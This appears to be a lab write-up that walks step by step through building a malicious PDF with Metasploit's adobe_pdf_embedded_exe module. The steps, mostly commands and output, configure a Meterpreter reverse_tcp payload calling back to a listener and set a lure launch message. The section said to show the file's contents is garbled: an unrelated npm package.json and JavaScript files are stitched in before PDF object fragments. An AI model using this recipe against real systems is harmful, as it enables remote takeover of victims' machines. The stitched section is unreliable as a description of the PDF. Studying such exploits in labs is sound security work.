

Malicious PDF File Creation - No. 6

Malicious Pdf name created using Metasploit tool: chapter1.pdf , Password: 1234

Stage 1

- 1) Creating a malicious pdf file using the Kali Linux which contains Metasploit tool
- 2)

The Exploit used is `adobe_pdf_embedded_exe` and The targets are Adobe Reader version 8, 9, Windows XP SP3 and Windows Vista.

In Metasploit tool, the “use” command is used to change the context of the `msfconsole` to a module that is mentioned.

```
msf6 > use exploit/windows/fileformat/adobe_pdf_embedded_exe
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

3)Run “show options” command gives the module options, payload options and also the details regarding the exploit target. The payload options contains the LHOST and LPORT. If the Lhost value is not available. It’s value can be found using the `ifconfig` and is set using the “set LHOST” command. The exploit target contains the information regarding the machines that can be targeted.

```
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options

Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):



| Name           | Current Setting                                                                                    | Required | Description                              |
|----------------|----------------------------------------------------------------------------------------------------|----------|------------------------------------------|
| EXENAME        |                                                                                                    | no       | The Name of payload exe.                 |
| FILENAME       | evil.pdf                                                                                           | no       | The output filename.                     |
| INFILENAME     | /usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf                           | yes      | The Input PDF filename.                  |
| LAUNCH_MESSAGE | To view the encrypted content please tick the "Do not show this message again" box and press Open. | no       | The message to display in the File: area |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.0.2.15       | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



**DisablePayloadHandler: True (no handler will be created!)**

Exploit target:



| Id | Name                                                                                   |
|----|----------------------------------------------------------------------------------------|
| 0  | Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English) |


```

4)The filename for the pdf is set using the “set filename chapter1.pdf” command.

```
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set filename chapter1.pdf
filename => chapter1.pdf
```

Using the “set launch_message Secret code” command, a secret message is written to the pdf file.

```
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set LAUNCH_MESSAGE 982682 SECRET@#  
LAUNCH_MESSAGE ⇒ 982682 SECRET@#
```

The secret message is : 982682 SECRET@#

5)At last, the run “exploit” command to execute the module with the above set changes.

```
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > exploit  
[*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf' ...  
[*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf' ...  
[*] Using 'windows/meterpreter/reverse_tcp' as payload ...  
[+] Parsing Successful. Creating 'chapter1.pdf' file ...  
[+] chapter1.pdf stored at /home/keerthana/.msf4/local/chapter1.pdf
```

6)After exploit, we obtain the file location of the pdf created. When opened the pdf file using a text editor, it looks like


```

{
  "name": "template",
  "version": "1.0.0",
  "description": "A simple template for a document.",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [
    "template",
    "document"
  ],
  "author": "John Doe",
  "license": "MIT",
  "dependencies": {
    "lodash": "^4.17.21"
  },
  "devDependencies": {
    "eslint": "^8.0.0",
    "eslint-config-airbnb": "^18.2.1",
    "eslint-plugin-import": "^2.25.3",
    "eslint-plugin-react": "^7.29.4",
    "eslint-plugin-react-hooks": "^4.6.0"
  }
}

// index.js
const _ = require('lodash');

function render(template, data) {
  return _.template(template)(data);
}

module.exports = {
  render
};

// package.json
{
  "name": "template",
  "version": "1.0.0",
  "description": "A simple template for a document.",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [
    "template",
    "document"
  ],
  "author": "John Doe",
  "license": "MIT",
  "dependencies": {
    "lodash": "^4.17.21"
  },
  "devDependencies": {
    "eslint": "^8.0.0",
    "eslint-config-airbnb": "^18.2.1",
    "eslint-plugin-import": "^2.25.3",
    "eslint-plugin-react": "^7.29.4",
    "eslint-plugin-react-hooks": "^4.6.0"
  }
}

// test.js
const { render } = require('./index');

const template = `
<div>
  <h1>{{title}}</h1>
  <p>{{description}}</p>
</div>
`;

const data = {
  title: 'My Document',
  description: 'A simple document template.'
};

const result = render(template, data);

console.log(result);
```

```

1 0 obj
<<
  /Pages 2 0 R/Names 5 0 R/OpenAction 9 0 R
  /Type /Catalog
>>
endobj
3 0 obj
<<
  /Contents 4 0 R
  /Parent 2 0 R
  /Resources <<
    /Font <<
      /F1 <<
        /Type /Font
        /Subtype /Type1
        /BaseFont /Helvetica
        /Name /F1
      >>
    >>
  >>
  /Type /Page
  /MediaBox [ 0 0 795 842 ]
/AA<</O 10 0 R>>>
endobj
xref
5 6
0000000618 00000 n
0000000658 00000 n
0000000701 00000 n
0000000798 00000 n
0000044993 00000 n
0000045100 00000 n
1 1
0000045551 00000 n
3 1
0000045636 00000 n
trailer
<</Size 11/Prev 429/Root 1 0 R/Info 0 0 R>>
startxref
45888
%%EOF
```